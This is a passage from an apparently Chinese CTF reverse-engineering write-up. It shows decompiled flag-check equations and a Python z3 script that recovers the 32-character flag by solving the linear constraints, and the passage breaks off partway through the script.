     + 38 * (v7 + v21 + 4 * v7 + 6 * v41)
     + 12 * (v2 + 16 * v42)
     + 109 * v20
     + 232 * v3
     + 47 * v19 == 435012
    && 209 * v21
     + 233 * v40
     + 93 * v1
     + 241 * v2
     + 137 * v8
     + 249 * v17
     + 188 * v29
     + 86 * v24
     + 246 * v10
     + 149 * v20
     + 99 * v11
     + 37 * v22
     + 219 * v18
     + 17 * (v6 + 10 * v25)
     + 49 * (v5 + 3 * v3 + 4 * v28 + v28)
     + 5 * (16 * v39 + 11 * (v41 + 2 * v27 + v27) + 12 * v7 + v31 + 30 * v16 +
27 * v19)
     + 18 * (v23 + 2 * (v4 + v26 + 2 * v4) + v4 + v26 + 2 * v4)
     + 24 * v9
     + 109 * v42
     + 183 * v30
     + 154 * v15 == 392484
    && (v34 = 2 * v31,
        155 * v15
      + 247 * v40
```

```
      + 157 * v28
      + 119 * v23
      + 161 * v17
      + 133 * v20
      + 85 * v22
      + 229 * (v7 + v24)
      + 123 * (2 * v31 + v42)
      + 21 * (v41 + 12 * v30)
      + 55 * (v9 + v5 + v18 + 2 * v5)
      + 15 * (v3 + 16 * v10 + 9 * v21)
      + 2
      * (v2
       + 115 * v29
       + 111 * v16
       + 26 * v6
       + 88 * v8
       + 73 * v39
       + 71 * v11
       + 28 * (v26 + 2 * (v25 + 2 * v1))
       + 51 * v27
       + 99 * v4
       + 125 * v19) == 437910)
    && 220 * v3
     + 200 * v4
     + 139 * v15
     + 33 * v5
     + 212 * v30
     + 191 * v16
     + 30 * v27
     + 233 * v1
     + 246 * v6
     + 89 * v2
     + 252 * v40
     + 223 * v42
     + 19 * v25
     + 141 * v21
     + 163 * v9
     + 185 * v17
     + 136 * v31
     + 46 * v24
     + 109 * v10
     + 217 * v39
     + 75 * v22
     + 157 * v18
     + 125 * (v11 + v19)
     + 104 * (v33 + v20)
     + 43 * (v28 + 2 * v29 + v29)
     + 32 * (v8 + v7 + 2 * v8 + 2 * (v23 + v26)) == 421905
    && 211 * v24
     + 63 * v15
     + 176 * v5
     + 169 * v16
     + 129 * v27
     + 146 * v40
     + 111 * v26
```

```
      + 68 * v42
      + 39 * v25
      + 188 * v23
      + 130 * v9
      + (v31 << 6)
      + 91 * v41
      + 208 * v20
      + 145 * v39
      + 247 * v18
      + 93 * (v22 + v17)
      + 71 * (v6 + 2 * v11)
      + 103 * (v8 + 2 * v30)
      + 6 * (v21 + 10 * v28 + 28 * v7 + 9 * v29 + 19 * v2 + 24 * v1 + 22 * v3)
      + 81 * v10
      + 70 * v4
      + 23 * v19 == 356282
     && (v12 = v10 + 2 * (v31 + 4 * (v29 + v17)) + v31 + 4 * (v29 + v17),
         94 * v42
       + 101 * v2
       + 152 * v40
       + 200 * v7
       + 226 * v8
       + 211 * v23
       + 121 * v24
       + 74 * v11
       + 166 * v18
       + ((v6 + 3 * v28) << 6)
       + 41 * (4 * v9 + v21)
       + 23 * (v39 + 11 * v41)
       + 7 * (v20 + 10 * v25 + 2 * v12 + v12)
       + 3 * (78 * v30 + 81 * v16 + 55 * v27 + 73 * v1 + 4 * v26 + v15 + 85 * v3
+ 65 * v19)
       + 62 * v22
       + 88 * v5
       + 110 * v4 == 423091)
     && 133 * v22
      + 175 * v15
      + 181 * v30
      + 199 * v16
      + 123 * v27
      + 242 * v1
      + 75 * v6
      + 69 * v2
      + 153 * v40
      + 33 * v26
      + 100 * v42
      + 229 * v7
      + 177 * v8
      + 134 * v31
      + 179 * v29
      + 129 * v41
      + 14 * v10
      + 247 * v24
      + 228 * v20
      + 92 * v11
```

```
      + 86 * (v9 + v32)
      + 94 * (v23 + v21)
      + 37 * (v17 + 4 * v3)
      + 79 * (v25 + 2 * v28)
      + 72 * v5
      + 93 * v39
      + 152 * v4
      + 214 * v19 == 391869
     && 211 * v24
      + 213 * v18
      + 197 * v40
      + 159 * v25
      + 117 * v21
      + 119 * v9
      + 98 * v17
      + 218 * v41
      + 106 * v39
      + 69 * v11
      + 43 * (v2 + v29 + 2 * v2)
      + 116 * (v4 + v10 + v37)
      + 5 * (v42 + 9 * v23 + 35 * v20 + 37 * v31)
      + 11 * (v16 + 13 * v27 + 5 * v5 + 8 * v30)
      + 6 * (29 * v28 + 25 * v8 + 38 * v22 + v15 + 13 * v1 + 10 * v3)
      + 136 * v7
      + 142 * v6
      + 141 * v19 == 376566
     && 173 * v3
      + 109 * v15
      + 61 * v30
      + 187 * v1
      + 79 * v6
      + 53 * v40
      + 184 * v21
      + 43 * v23
      + 41 * v9
      + 166 * v31
      + 193 * v41
      + 58 * v24
      + 146 * v10
      + (v20 << 6)
      + 89 * v39
      + 121 * v11
      + 5 * (v17 + 23 * v8)
      + 7 * (29 * v18 + v29 + 4 * v7)
      + 13 * (3 * v42 + v16 + 7 * v26 + 13 * v2)
      + 3 * (v4 + 83 * v5 + 51 * v27 + 33 * v22 + 8 * (v19 + 4 * v28) + 18 * v25)
== 300934
     && (v36 = 3 * v21,
         78 * v1
       + 131 * v5
       + 185 * v16
       + 250 * v40
       + 90 * v26
       + 129 * v42
       + 255 * v28
```

```
    + 206 * v8
    + 239 * v25
    + 150 * v10
    + 253 * v39
    + 104 * v22
    + 58 * (v2 + 2 * v7)
    + 96 * (v15 + v31)
    + 117 * (v9 + 2 * v4)
    + 27 * (v17 + 8 * v18 + v18)
    + 19 * (v23 + 3 * v21 + 4 * v29 + v29)
    + 7 * (22 * v41 + 3 * (v11 + 11 * v24) + v3 + 29 * v6 + 14 * v27)
    + 109 * v20
    + 102 * v30
    + 100 * v19 == 401351)
  && 233 * v19
   + 71 * v5
   + 209 * v27
   + 82 * v6
   + 58 * v26
   + 53 * v25
   + 113 * v23
   + 206 * v31
   + 39 * v41
   + 163 * v20
   + 222 * v11
   + 191 * v18
   + 123 * (v7 + v40)
   + 69 * (v9 + 2 * v22 + v22)
   + 9 * (v3 + 8 * v24 + 7 * (3 * v1 + v28) + 5 * v16 + 19 * v30)
   + 4 * (v15 + 26 * v17 + 61 * v29 + 43 * v42 + 49 * v2 + 32 * v4)
   + 10 * (7 * (v8 + v36) + v39 + 12 * v10) == 368427
  && 139 * v30
   + 53 * v5
   + 158 * v16
   + 225 * v1
   + 119 * v6
   + 67 * v2
   + 213 * v40
   + 188 * v28
   + 152 * v8
   + 187 * v21
   + 129 * v23
   + 54 * v9
   + 125 * v17
   + 170 * v24
   + 184 * v11
   + 226 * v22
   + 253 * v18
   + 26 * (v29 + v41)
   + 97 * (v4 + 2 * v25)
   + 39 * (5 * v26 + v27)
   + 21 * (v39 + 8 * v42)
   + 12 * (17 * v10 + v31 + 15 * v7 + 12 * v19)
   + 165 * v20
   + 88 * v15
```

```
      + 157 * v3 == 403881
     && 114 * v3
      + 61 * v27
      + 134 * v40
      + 62 * v42
      + 89 * v9
      + 211 * v17
      + 163 * v41
      + 66 * v24
      + 201 * (v7 + v18)
      + 47 * (5 * v16 + v22)
      + 74 * (v4 + v31)
      + 142 * (v2 + v28)
      + 35 * (v20 + 6 * v26)
      + 39 * (v15 + 6 * v30)
      + 27 * (v25 + 9 * v23 + 8 * v6)
      + 4 * (v21 + 63 * v19 + 2 * (v1 + 12 * (v10 + v5) + 8 * v11 + 26 * v29))
      + 10 * (v8 + 4 * v39 + v39) == 382979
     && 122 * v25
      + 225 * v21
      + 52 * v23
      + 253 * v9
      + 197 * v17
      + 187 * v31
      + 181 * v29
      + 183 * v41
      + 47 * v20
      + 229 * v39
      + 88 * v22
      + 127 * (v10 + v32)
      + 37 * (v7 + 3 * v3)
      + ((v11 + 2 * v30 + v30) << 6)
      + 7 * (21 * v8 + v27 + 18 * (v4 + v1 + v38))
      + 6 * (23 * v24 + v26 + 17 * v2 + 39 * v6)
      + 10 * (v5 + 11 * v28 + 21 * v42)
      + 149 * v19
      + 165 * v40
      + 121 * v15 == 435695
     && 165 * v20
      + 223 * v4
      + 249 * v5
      + 199 * v1
      + 135 * v2
      + 133 * v26
      + 254 * v42
      + 111 * v7
      + 189 * v28
      + 221 * v25
      + 115 * v21
      + 186 * v9
      + 79 * v41
      + 217 * v24
      + 122 * v11
      + 38 * v18
      + 109 * (v34 + v29)
```

```
      + 14 * (v8 + 17 * v40 + 8 * (v6 + v38))
      + 4 * (11 * (5 * v30 + v39) + 6 * (v10 + 2 * v22) + v27 + 52 * v17 + 50 *
v23)
      + 229 * v15
      + 86 * v3
      + 234 * v19 == 453748
     && 181 * v25
      + 94 * v42
      + 125 * v1
      + 226 * v26
      + 155 * v7
      + 95 * v21
      + 212 * v17
      + 91 * v31
      + 194 * v29
      + 98 * v24
      + 166 * v11
      + 120 * v22
      + 59 * v18
      + 32 * (v9 + v8)
      + 158 * (v6 + v5)
      + 101 * (v41 + v19)
      + 63 * (v4 + 2 * v23)
      + 67 * (v28 + 2 * v20)
      + 11 * (v39 + 10 * v16 + 11 * v10)
      + 39 * (v30 + 4 * (v2 + v15))
      + 233 * v40
      + 56 * v27
      + 225 * v3 == 358321
     && 229 * v21
      + 135 * v4
      + 197 * v15
      + 118 * v5
      + 143 * v16
      + 134 * v6
      + 204 * v40
      + 173 * v26
      + 81 * v7
      + 60 * v28
      + 58 * v8
      + 179 * v23
      + 142 * v9
      + 178 * v17
      + 230 * v31
      + 148 * v29
      + 224 * v41
      + 194 * v24
      + 223 * v10
      + 87 * v20
      + 200 * v39
      + 233 * v11
      + 49 * v22
      + 127 * v35
      + 31 * (4 * v27 + v18)
      + 42 * (v1 + 6 * v2)
```

```
      + 109 * v42
      + 75 * v3
      + 165 * v19 == 456073
     && 41 * v4
      + 253 * v3
      + 163 * v15
      + 193 * v30
      + 155 * v16
      + 113 * v27
      + 131 * v6
      + 55 * v2
      + 21 * v40
      + 53 * v26
      + 13 * v8
      + 201 * v25
      + 237 * v9
      + 223 * v31
      + 95 * v24
      + 194 * v20
      + 62 * v39
      + 119 * v11
      + 171 * v22
      + 135 * v18
      + 69 * (v10 + 3 * v28)
      + 211 * (v1 + v29)
      + 4 * (43 * v7 + v42 + 40 * v17)
      + 6 * (v5 + 33 * v41 + 20 * (2 * v19 + v21) + 24 * v23) == 407135
     && (v13 = v6 + v1 + 8 * v6 + 4 * (v8 + 2 * v27),
         111 * v19
       + 190 * v3
       + 149 * v4
       + 173 * v28
       + 118 * v23
       + 146 * v29
       + 179 * v10
       + 51 * v20
       + 49 * v39
       + 61 * v11
       + 125 * v22
       + 162 * v18
       + 214 * v35
       + 14 * (v34 + v24)
       + 178 * (v41 + v16)
       + 11 * (4 * v9 + v21 + 17 * v42)
       + 65 * (v26 + v17 + 2 * v26 + 2 * v5)
       + 4 * (v7 + 38 * v15 + 4 * v13 + v13 + 8 * v40 + 43 * v2) == 369835)
     && 27 * v27
      + 223 * v6
      + 147 * v26
      + 13 * v21
      + 35 * (v17 + 7 * v4)
      + 57 * (v19 + v32 + 3 * v11)
      + 11 * (v1 + 17 * (v9 + v5) + 10 * v16 + 3 * v31)
      + 2
      * (53 * v23
```

```
      + v25
      + 38 * v15
      + 43 * v42
      + 115 * v29
      + 61 * v22
      + 111 * (v10 + v40)
      + 14 * (v20 + v7 + 2 * v7 + 8 * v28)
      + 109 * v2
      + 100 * v41
      + 63 * v8)
     + 93 * v39
     + 251 * v30
     + 131 * v3 == 393303
    && 116 * v9
     + 152 * v29
     + 235 * v20
     + 202 * v18
     + 85 * (v8 + 3 * v11)
     + 221 * (v16 + v40)
     + 125 * (v33 + v24)
     + 7 * (19 * v4 + 9 * (v10 + 2 * v25) + v2 + 33 * v3 + 32 * v19)
     + 3 * (71 * v39 + 43 * v22 + 32 * (v17 + v26) + 15 * (v5 + v6 + 2 * v23) +
v28 + 74 * v31 + 48 * v42)
     + 10 * (v21 + 11 * v30 + 16 * v15)
     + 136 * v7
     + 106 * v1
     + 41 * v27 == 403661
    && 127 * v4
     + 106 * v15
     + 182 * v30
     + 142 * v5
     + 159 * v16
     + 17 * v1
     + 211 * v6
     + 134 * v2
     + 199 * v7
     + 103 * v28
     + 247 * v23
     + 122 * v9
     + 95 * v41
     + 62 * v10
     + 203 * v39
     + 16 * v11
     + 41 * (6 * v42 + v25)
     + 9 * (22 * v24 + v20 + 27 * v31 + 28 * v40)
     + 10 * (v8 + v22 + v36 + 8 * v17 + 2 * (v22 + v36 + 8 * v17) + 13 * v29)
     + 6 * (23 * v27 + v26)
     + 213 * v18
     + 179 * v3
     + 43 * v19 == 418596 )
  {
    return 149 * v19
         + v1
         + 133 * v22
         + 207 * v41
```

```
          + 182 * v26
          + 234 * v7
          + 199 * v8
          + 168 * v21
          + 58 * v10
          + 108 * v20
          + 142 * v18
          + 156 * (v9 + v25)
          + 16 * (v29 + 6 * v31)
          + 126 * (v17 + 2 * v39)
          + 127 * (v4 + 2 * v27 + v40)
          + 49 * (v30 + 4 * v16)
          + 11 * (v5 + 22 * v11)
          + 5 * (v15 + v42 + 45 * v24 + 50 * v28)
          + 109 * v2
          + 124 * v6
          + 123 * v3 == 418697;
  }
  else
  {
    return 0i64;
  }
}
```

用z3解上面的等式

exp:

```
from z3 import *
a1 = [BitVec('%d' % i, 8)  for i in range(32)]
v1 = a1[25]
v2 = a1[21]
v3 = a1[31]
v4 = a1[29]
v5 = a1[0]
v6 = a1[23]
v7 = a1[8]
v8 = a1[28]
v9 = a1[12]
v10 = a1[3]
v11 = a1[2]
v19 = a1[30]
v15 = a1[18]
v16 = a1[24]
v27 = a1[11]
v17 = a1[26]
v30 = a1[14]
v40 = a1[7]
v26 = a1[20]
v37 = 2 * v26
v42 = a1[22]
v28 = a1[1]
v25 = a1[27]
v21 = a1[19]
v23 = a1[16]
```

```
v31 = a1[13]
v29 = a1[10]
v41 = a1[5]
v24 = a1[4]
v20 = a1[15]
v39 = a1[17]
v22 = a1[6]
v18 = a1[9]
v38 = 2 * v16
v33 = 2 * v41
v32 = 2 * v18
v35 = v25 + v30
v34 = 2 * v31
v12 = v10 + 2 * (v31 + 4 * (v29 + v17)) + v31 + 4 * (v29 + v17)
v36 = 3 * v21
v13 = v6 + v1 + 8 * v6 + 4 * (v8 + 2 * v27)
s=Solver()
for i in range(32):
    s.add(a1[i] < 127)  # 添加约束条件①
    s.add(a1[i] >= 32)
    s.add(a1[0] == 104)
    s.add(a1[1] == 103)
    s.add(a1[2] == 97)
    s.add(a1[3] == 109)
    s.add(a1[4] == 101)
    s.add(a1[5] == 123)
    s.add(a1[31] == 125)
s.add(v18+ 201 * v24+ 194 * v10+ 142 * v20+ 114 * v39+ 103 * v11+ 52 * (v17 +
v31)+ ((v9 + v23) *2**6)+ 14 * (v21 + 4 * v25 + v25)+ 9 * (v40 + 23 * v27 + v2 +
3 * v1 + 4 * v2 + 4 * v6)+ 5 * (v16 + 23 * v30 + 2 * (v3 + 2 * v19) + 5 * v5 +
39 * v15 + 51 * v4)+ 24 * (v8 + 10 * v28 + 4 * (v42 + v7 + 2 * v26))+ 62 * v22+
211 * v41+ 212 * v29 == 296473)
s.add(207 * v41+ 195 * v22+ 151 * v40+ 57 * v5+ 118 * v6+ 222 * v42+ 103 * v7+
181 * v8+ 229 * v9+ 142 * v31+ 51 * v29+ 122 * (v26 + v20)+ 91 * (v2 + 2 * v16)+
107 * (v27 + v25)+ 81 * (v17 + 2 * v18 + v18)+ 45 * (v19 + 2 * (v11 + v24) + v11
+ v24)+ 4 * (3 * (v23 + a1[19] + 2 * v23 + 5 * v4) + v39 + 29 * (v10 + v1) + 25
* v15)+ 26 * v28+ 101 * v30+ 154 * v3 == 354358)
s.add(And( 177 * v40+ 129 * v26+ 117 * v42+ 143 * v28+ 65 * v8+ 137 * v25+ 215 *
v21+ 93 * v31+ 235 * v39+ 203 * v11+ 15 * (v7 + 17 * v30)+ 2* (v24 + 91 * v9 +
95 * v29 + 51 * v41 + 81 * v20 + 92 * v18 + 112 * (v10 + v6) + 32 * (v22 + 2 *
(v1 + v23)) + 6 * (v2 + 14 * v16 + 19 * v15) + 83 * v5 + 53 * v4 + 123 * v19)+
v17+ 175 * v27+ 183 * v3 == 448573
    , 113 * v19+ 74 * v3+ 238 * v6+ 140 * v2+ 214 * v26+ 242 * v8+ 160 * v21+
136 * v23+ 209 * v9+ 220 * v31+ 50 * v24+ 125 * v10+ 175 * v20+ 23 * v39+ 137 *
v22+ 149 * v18+ 83 * (v4 + 2 * v30)+ 21 * (9 * v29 + v16)+ 59 * (4 * v27 + v17)+
41 * (v1 + v41)+ 13 * (v7 + 11 * (v40 + v15) + 6 * v42 + 4 * (v28 + 2 * v11) +
v28 + 2 * v11 + 17 * v5)+ 36 * v25 == 384306
    , 229 * v21+ 78 * v1+ v2+ v9+ 133 * v27+ 74 * v6+ 69 * v26+ 243 * v7+ 98 *
v28+ 253 * v8+ 142 * v25+ 175 * v31+ 105 * v41+ 221 * v10+ 121 * v39+ 218 * (v19
+ v29)+ 199 * (v24 + v30)+ 33 * (v40 + 7 * v17)+ 4 * (27 * v20 + 50 * v11 + 45 *
v18 + 19 * (v3 + v42) + v16 + 16 * v23 + 52 * v4)+ 195 * v22+ 211 * v5+ 153 *
v15 == 424240
```

```
    , 181 * v25+ 61 * v2+ 65 * v21+ 58 * v31+ 170 * v29+ 143 * v24+ 185 * v10+
86 * v11+ 97 * v22+ 235 * (v23 + v27)+ 3* (53 * v41 + 74 * (v8 + v3) + 13 * (v42
+ 6 * v9) + 11 * (v39 + 7 * v20) + 15 * (v18 + 4 * v17) + v7 + 35 * v1 + 29 *
v15)+ 4 * (57 * v6 + 18 * (v5 + v37) + v28 + 17 * v16 + 55 * v30)+ 151 * v40+
230 * v4+ 197 * v19 == 421974
    , 209 * v21 + 249 * v30 + 195 * v2 + 219 * v25 + 201 * v39 + 85 * v18 + 213
* (v17 + v31) + 119 * (v11 + 2 * v41) + 29 * (8 * v24 + v40 + 4 * v27 + v27) + 2
* (v8  + 55 * (2 * v29 + v19)  + 3 * (v10 + 39 * v9 + 2 * (v6 + 20 * v20) + 35 *
v7)  + 4 * (v5 + 31 * v42 + 28 * v3)  + 26 * v28  + 46 * (v37 + v16)  + 98 * v1)
+ 53 * v23 + 171 * v15 + 123 * v4 == 442074
    ,  162 * v19 + 74 * v5 + 28 * v27 + 243 * v42 + 123 * v28 + 73 * v8 + 166 *
v23 + 94 * v24 + 113 * v11 + 193 * v22 + 122 * (v6 + 2 * v7) + 211 * (v10 + v25)
+ 21 * (v17 + 7 * v41) + 11 * (v4 + 23 * (v16 + v39) + 2 * (v40 + 5 * v30 + 2 *
(2 * v18 + v29) + 2 * v18 + v29)) + 5 * (46 * v9 + 26 * v20 + 4 * (v31 + 2 *
v21) + v15 + 27 * v2 + 10 * v1) + 36 * (v3 + 5 * v26) == 376007
    ,  63 * v19 + 143 * v5 + 250 * v6 + 136 * v2 + 214 * v40 + 62 * v26 + 221 *
v42 + 226 * v7 + 171 * v28 + 178 * v8 + 244 * v23 + (v9 *2** 7) + 150 * v31 +
109 * v29 + 70 * v41 + 127 * v20 + 204 * v39 + 121 * v22 + 173 * v18 + 69 * (v25
+ v30 + v27) + 74 * (v16 + 2 * v15 + v15) + 22 * (7 * v24 + v17 + 10 * v11) + 40
* (v1 + 4 * v21 + v21) + 81 * v10 + 94 * v4 + 84 * v3 == 411252
    , 229 * v15+ 121 * v4+ 28 * v30+ 206 * v16+ 145 * v27+ 41 * v1+ 247 * v6+
118 * v26+ 241 * v28+ 79 * v8+ 102 * v25+ 124 * v23+ 65 * v9+ 68 * v31+ 239 *
v17+ 148 * v24+ 245 * v39+ 115 * v11+ 163 * v22+ 137 * v18+ 53 * (v5 + 2 * v29)+
126 * (v40 + 2 * v10)+ 38 * (v7 + v21 + 4 * v7 + 6 * v41)+ 12 * (v2 + 16 * v42)+
109 * v20+ 232 * v3+ 47 * v19 == 435012
    , 209 * v21+ 233 * v40+ 93 * v1+ 241 * v2+ 137 * v8+ 249 * v17+ 188 * v29+
86 * v24+ 246 * v10+ 149 * v20+ 99 * v11+ 37 * v22+ 219 * v18+ 17 * (v6 + 10 *
v25)+ 49 * (v5 + 3 * v3 + 4 * v28 + v28)+ 5 * (16 * v39 + 11 * (v41 + 2 * v27 +
v27) + 12 * v7 + v31 + 30 * v16 + 27 * v19)+ 18 * (v23 + 2 * (v4 + v26 + 2 * v4)
+ v4 + v26 + 2 * v4)+ 24 * v9+ 109 * v42+ 183 * v30+ 154 * v15 == 392484
    , 155 * v15 + 247 * v40 + 157 * v28 + 119 * v23 + 161 * v17 + 133 * v20 + 85
* v22 + 229 * (v7 + v24) + 123 * (2 * v31 + v42) + 21 * (v41 + 12 * v30) + 55 *
(v9 + v5 + v18 + 2 * v5) + 15 * (v3 + 16 * v10 + 9 * v21) + 2 * (v2  + 115 * v29
 + 111 * v16  + 26 * v6  + 88 * v8  + 73 * v39  + 71 * v11  + 28 * (v26 + 2 *
(v25 + 2 * v1))  + 51 * v27  + 99 * v4  + 125 * v19) == 437910
    , 220 * v3+ 200 * v4+ 139 * v15+ 33 * v5+ 212 * v30+ 191 * v16+ 30 * v27+
233 * v1+ 246 * v6+ 89 * v2+ 252 * v40+ 223 * v42+ 19 * v25+ 141 * v21+ 163 *
v9+ 185 * v17+ 136 * v31+ 46 * v24+ 109 * v10+ 217 * v39+ 75 * v22+ 157 * v18+
125 * (v11 + v19)+ 104 * (v33 + v20)+ 43 * (v28 + 2 * v29 + v29)+ 32 * (v8 + v7
+ 2 * v8 + 2 * (v23 + v26)) == 421905
    , 211 * v24+ 63 * v15+ 176 * v5+ 169 * v16+ 129 * v27+ 146 * v40+ 111 * v26+
68 * v42+ 39 * v25+ 188 * v23+ 130 * v9+ (v31 *2** 6)+ 91 * v41+ 208 * v20+ 145
* v39+ 247 * v18+ 93 * (v22 + v17)+ 71 * (v6 + 2 * v11)+ 103 * (v8 + 2 * v30)+ 6
* (v21 + 10 * v28 + 28 * v7 + 9 * v29 + 19 * v2 + 24 * v1 + 22 * v3)+ 81 * v10+
70 * v4+ 23 * v19 == 356282
    ,  94 * v42 + 101 * v2 + 152 * v40 + 200 * v7 + 226 * v8 + 211 * v23 + 121 *
v24 + 74 * v11 + 166 * v18 + ((v6 + 3 * v28) *2** 6) + 41 * (4 * v9 + v21) + 23
* (v39 + 11 * v41) + 7 * (v20 + 10 * v25 + 2 * v12 + v12) + 3 * (78 * v30 + 81 *
v16 + 55 * v27 + 73 * v1 + 4 * v26 + v15 + 85 * v3 + 65 * v19) + 62 * v22 + 88 *
v5 + 110 * v4 == 423091
    , 133 * v22+ 175 * v15+ 181 * v30+ 199 * v16+ 123 * v27+ 242 * v1+ 75 * v6+
69 * v2+ 153 * v40+ 33 * v26+ 100 * v42+ 229 * v7+ 177 * v8+ 134 * v31+ 179 *
v29+ 129 * v41+ 14 * v10+ 247 * v24+ 228 * v20+ 92 * v11+ 86 * (v9 + v32)+ 94 *
(v23 + v21)+ 37 * (v17 + 4 * v3)+ 79 * (v25 + 2 * v28)+ 72 * v5+ 93 * v39+ 152 *
v4+ 214 * v19 == 391869
```

```
    , 211 * v24+ 213 * v18+ 197 * v40+ 159 * v25+ 117 * v21+ 119 * v9+ 98 * v17+
218 * v41+ 106 * v39+ 69 * v11+ 43 * (v2 + v29 + 2 * v2)+ 116 * (v4 + v10 +
v37)+ 5 * (v42 + 9 * v23 + 35 * v20 + 37 * v31)+ 11 * (v16 + 13 * v27 + 5 * v5 +
8 * v30)+ 6 * (29 * v28 + 25 * v8 + 38 * v22 + v15 + 13 * v1 + 10 * v3)+ 136 *
v7+ 142 * v6+ 141 * v19 == 376566
    , 173 * v3+ 109 * v15+ 61 * v30+ 187 * v1+ 79 * v6+ 53 * v40+ 184 * v21+ 43
* v23+ 41 * v9+ 166 * v31+ 193 * v41+ 58 * v24+ 146 * v10+ (v20 *2** 6)+ 89 *
v39+ 121 * v11+ 5 * (v17 + 23 * v8)+ 7 * (29 * v18 + v29 + 4 * v7)+ 13 * (3 *
v42 + v16 + 7 * v26 + 13 * v2)+ 3 * (v4 + 83 * v5 + 51 * v27 + 33 * v22 + 8 *
(v19 + 4 * v28) + 18 * v25) == 300934
    , 78 * v1 + 131 * v5 + 185 * v16 + 250 * v40 + 90 * v26 + 129 * v42 + 255 *
v28 + 206 * v8 + 239 * v25 + 150 * v10 + 253 * v39 + 104 * v22 + 58 * (v2 + 2 *
v7) + 96 * (v15 + v31) + 117 * (v9 + 2 * v4) + 27 * (v17 + 8 * v18 + v18) + 19 *
(v23 + 3 * v21 + 4 * v29 + v29) + 7 * (22 * v41 + 3 * (v11 + 11 * v24) + v3 + 29
* v6 + 14 * v27) + 109 * v20 + 102 * v30 + 100 * v19 == 401351
    , 233 * v19+ 71 * v5+ 209 * v27+ 82 * v6+ 58 * v26+ 53 * v25+ 113 * v23+ 206
* v31+ 39 * v41+ 163 * v20+ 222 * v11+ 191 * v18+ 123 * (v7 + v40)+ 69 * (v9 + 2
* v22 + v22)+ 9 * (v3 + 8 * v24 + 7 * (3 * v1 + v28) + 5 * v16 + 19 * v30)+ 4 *
(v15 + 26 * v17 + 61 * v29 + 43 * v42 + 49 * v2 + 32 * v4)+ 10 * (7 * (v8 + v36)
+ v39 + 12 * v10) == 368427
    , 139 * v30+ 53 * v5+ 158 * v16+ 225 * v1+ 119 * v6+ 67 * v2+ 213 * v40+ 188
* v28+ 152 * v8+ 187 * v21+ 129 * v23+ 54 * v9+ 125 * v17+ 170 * v24+ 184 * v11+
226 * v22+ 253 * v18+ 26 * (v29 + v41)+ 97 * (v4 + 2 * v25)+ 39 * (5 * v26 +
v27)+ 21 * (v39 + 8 * v42)+ 12 * (17 * v10 + v31 + 15 * v7 + 12 * v19)+ 165 *
v20+ 88 * v15+ 157 * v3 == 403881
    , 114 * v3+ 61 * v27+ 134 * v40+ 62 * v42+ 89 * v9+ 211 * v17+ 163 * v41+ 66
* v24+ 201 * (v7 + v18)+ 47 * (5 * v16 + v22)+ 74 * (v4 + v31)+ 142 * (v2 +
v28)+ 35 * (v20 + 6 * v26)+ 39 * (v15 + 6 * v30)+ 27 * (v25 + 9 * v23 + 8 * v6)+
4 * (v21 + 63 * v19 + 2 * (v1 + 12 * (v10 + v5) + 8 * v11 + 26 * v29))+ 10 * (v8
+ 4 * v39 + v39) == 382979
    , 122 * v25+ 225 * v21+ 52 * v23+ 253 * v9+ 197 * v17+ 187 * v31+ 181 * v29+
183 * v41+ 47 * v20+ 229 * v39+ 88 * v22+ 127 * (v10 + v32)+ 37 * (v7 + 3 * v3)+
((v11 + 2 * v30 + v30) *2**6)+ 7 * (21 * v8 + v27 + 18 * (v4 + v1 + v38))+ 6 *
(23 * v24 + v26 + 17 * v2 + 39 * v6)+ 10 * (v5 + 11 * v28 + 21 * v42)+ 149 *
v19+ 165 * v40+ 121 * v15 == 435695
    , 165 * v20+ 223 * v4+ 249 * v5+ 199 * v1+ 135 * v2+ 133 * v26+ 254 * v42+
111 * v7+ 189 * v28+ 221 * v25+ 115 * v21+ 186 * v9+ 79 * v41+ 217 * v24+ 122 *
v11+ 38 * v18+ 109 * (v34 + v29)+ 14 * (v8 + 17 * v40 + 8 * (v6 + v38))+ 4 * (11
* (5 * v30 + v39) + 6 * (v10 + 2 * v22) + v27 + 52 * v17 + 50 * v23)+ 229 * v15+
86 * v3+ 234 * v19 == 453748
    , 181 * v25+ 94 * v42+ 125 * v1+ 226 * v26+ 155 * v7+ 95 * v21+ 212 * v17+
91 * v31+ 194 * v29+ 98 * v24+ 166 * v11+ 120 * v22+ 59 * v18+ 32 * (v9 + v8)+
158 * (v6 + v5)+ 101 * (v41 + v19)+ 63 * (v4 + 2 * v23)+ 67 * (v28 + 2 * v20)+
11 * (v39 + 10 * v16 + 11 * v10)+ 39 * (v30 + 4 * (v2 + v15))+ 233 * v40+ 56 *
v27+ 225 * v3 == 358321
    , 229 * v21+ 135 * v4+ 197 * v15+ 118 * v5+ 143 * v16+ 134 * v6+ 204 * v40+
173 * v26+ 81 * v7+ 60 * v28+ 58 * v8+ 179 * v23+ 142 * v9+ 178 * v17+ 230 *
v31+ 148 * v29+ 224 * v41+ 194 * v24+ 223 * v10+ 87 * v20+ 200 * v39+ 233 * v11+
49 * v22+ 127 * v35+ 31 * (4 * v27 + v18)+ 42 * (v1 + 6 * v2)+ 109 * v42+ 75 *
v3+ 165 * v19 == 456073
    , 41 * v4+ 253 * v3+ 163 * v15+ 193 * v30+ 155 * v16+ 113 * v27+ 131 * v6+
55 * v2+ 21 * v40+ 53 * v26+ 13 * v8+ 201 * v25+ 237 * v9+ 223 * v31+ 95 * v24+
194 * v20+ 62 * v39+ 119 * v11+ 171 * v22+ 135 * v18+ 69 * (v10 + 3 * v28)+ 211
* (v1 + v29)+ 4 * (43 * v7 + v42 + 40 * v17)+ 6 * (v5 + 33 * v41 + 20 * (2 * v19
+ v21) + 24 * v23) == 407135
```

```
    ,  111 * v19 + 190 * v3 + 149 * v4 + 173 * v28 + 118 * v23 + 146 * v29 + 179
* v10 + 51 * v20 + 49 * v39 + 61 * v11 + 125 * v22 + 162 * v18 + 214 * v35 + 14
* (v34 + v24) + 178 * (v41 + v16) + 11 * (4 * v9 + v21 + 17 * v42) + 65 * (v26 +
v17 + 2 * v26 + 2 * v5) + 4 * (v7 + 38 * v15 + 4 * v13 + v13 + 8 * v40 + 43 *
v2) == 369835
    , 27 * v27+ 223 * v6+ 147 * v26+ 13 * v21+ 35 * (v17 + 7 * v4)+ 57 * (v19 +
v32 + 3 * v11)+ 11 * (v1 + 17 * (v9 + v5) + 10 * v16 + 3 * v31)+ 2* (53 * v23 +
v25 + 38 * v15 + 43 * v42 + 115 * v29 + 61 * v22 + 111 * (v10 + v40) + 14 * (v20
+ v7 + 2 * v7 + 8 * v28) + 109 * v2 + 100 * v41 + 63 * v8)+ 93 * v39+ 251 * v30+
131 * v3 == 393303
